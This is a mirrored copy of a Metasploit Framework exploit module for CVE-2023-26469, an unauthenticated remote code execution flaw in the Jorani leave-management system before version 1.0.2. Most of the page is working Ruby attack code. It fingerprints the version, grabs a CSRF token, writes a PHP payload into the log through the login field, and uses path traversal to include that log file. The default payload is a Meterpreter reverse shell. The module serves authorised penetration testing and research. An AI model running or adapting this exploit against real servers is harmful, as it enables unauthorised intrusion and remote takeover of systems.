CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/php/jorani_path_trav.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Jorani unauthenticated Remote Code Execution',
17
'Description' => %q{
18
This module exploits an unauthenticated Remote Code Execution in Jorani prior to 1.0.2.
19
It abuses 3 vulnerabilities: log poisoning and redirection bypass via header spoofing, then it uses path traversal to trigger the vulnerability.
20
It has been tested on Jorani 1.0.0.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'RIOUX Guilhem (jrjgjk)'
25
],
26
'References' => [
27
['CVE', '2023-26469'],
28
['URL', 'https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py']
29
],
30
'Platform' => %w[php],
31
'Arch' => ARCH_PHP,
32
'Targets' => [
33
['Jorani < 1.0.2', {}]
34
],
35
'DefaultOptions' => {
36
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
37
'RPORT' => 443,
38
'SSL' => true
39
},
40
'DisclosureDate' => '2023-01-06',
41
'Privileged' => false,
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Stability' => [CRASH_SAFE],
45
'Reliability' => [REPEATABLE_SESSION],
46
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
47
}
48
)
49
)
50
51
register_options(
52
[
53
OptString.new('TARGETURI', [true, 'The base path of Jorani', '/'])
54
]
55
)
56
end
57
58
def get_version(res)
59
footer_text = res.get_html_document.xpath('//div[contains(@id, "footer")]').text
60
matches = footer_text.scan(/v([0-9.]+)/i)
61
if matches.nil? || matches[0].nil?
62
print_error('Cannot recovered Jorani version...')
63
return nil
64
end
65
matches[0][0]
66
end
67
68
def service_running(res)
69
matches = res.get_html_document.xpath('//head/meta[@description]/@description').text.downcase.scan(/leave management system/)
70
if matches.nil?
71
print_error("Jorani doesn't appear to be running on the target")
72
return false
73
end
74
true
75
end
76
77
def recover_csrf(res)
78
csrf_token = res.get_html_document.xpath('//input[@name="csrf_test_jorani"]/@value').text
79
return csrf_token if csrf_token.length == 32
80
81
nil
82
end
83
84
def check
85
# For the check command
86
print_status('Checking Jorani version')
87
uri = normalize_uri(target_uri.path, 'index.php')
88
89
res = send_request_cgi(
90
'method' => 'GET',
91
'uri' => "#{uri}/session/login"
92
)
93
94
if res.nil?
95
return Exploit::CheckCode::Safe('There was a problem accessing the login page')
96
end
97
98
return Exploit::CheckCode::Safe unless service_running(res)
99
100
print_good('Jorani seems to be running on the target!')
101
102
current_version = get_version(res)
103
return Exploit::CheckCode::Detected if current_version.nil?
104
105
print_good("Found version: #{current_version}")
106
current_version = Rex::Version.new(current_version)
107
108
return Exploit::CheckCode::Appears if current_version < Rex::Version.new('1.0.2')
109
110
Exploit::CheckCode::Safe
111
end
112
113
def exploit
114
# Main function
115
print_status('Trying to exploit LFI')
116
117
path_trav_payload = '../../application/logs'
118
header_name = Rex::Text.rand_text_alpha_upper(16)
119
poison_payload = "<?php if(isset($_SERVER['HTTP_#{header_name}'])){ #{payload.encoded} } ?>"
120
log_file_name = "log-#{Time.now.strftime('%Y-%m-%d')}"
121
122
uri = normalize_uri(target_uri.path, 'index.php')
123
124
res = send_request_cgi(
125
'method' => 'GET',
126
'keep_cookies' => true,
127
'uri' => "#{uri}/session/login"
128
)
129
130
if res.nil?
131
print_error('There was a problem accessing the login page')
132
return
133
end
134
135
print_status('Recovering CSRF token')
136
csrf_tok = recover_csrf(res)
137
if csrf_tok.nil?
138
print_status('CSRF not found, doesn\'t mean its not vulnerable')
139
else
140
print_good("CSRF found: #{csrf_tok}")
141
end
142
print_status('Poisoning log with payload..')
143
print_status('Sending 1st payload')
144
145
send_request_cgi(
146
'method' => 'POST',
147
'keep_cookies' => true,
148
'uri' => "#{uri}/session/login",
149
'data' => "csrf_test_jorani=#{csrf_tok}&" \
150
'last_page=session/login&' \
151
"language=#{path_trav_payload}&" \
152
"login=#{Rex::Text.uri_encode(poison_payload)}&" \
153
"CipheredValue=#{Rex::Text.rand_text_alpha(14)}"
154
)
155
156
print_status("Including poisoned log file #{log_file_name}.php")
157
vprint_warning('The date on the attacker and victim machine must be the same for the exploit to be successful due to the timestamp on the poisoned log file. Be careful running this exploit around midnight across timezones.')
158
print_good('Triggering payload')
159
160
send_request_cgi(
161
'method' => 'GET',
162
'keep_cookies' => true,
163
'uri' => "#{uri}/pages/view/#{log_file_name}",
164
'headers' =>
165
{
166
'X-REQUESTED-WITH' => 'XMLHttpRequest',
167
header_name => Rex::Text.rand_text_alpha(14)
168
}
169
)
170
171
nil
172
end
173
end
174
175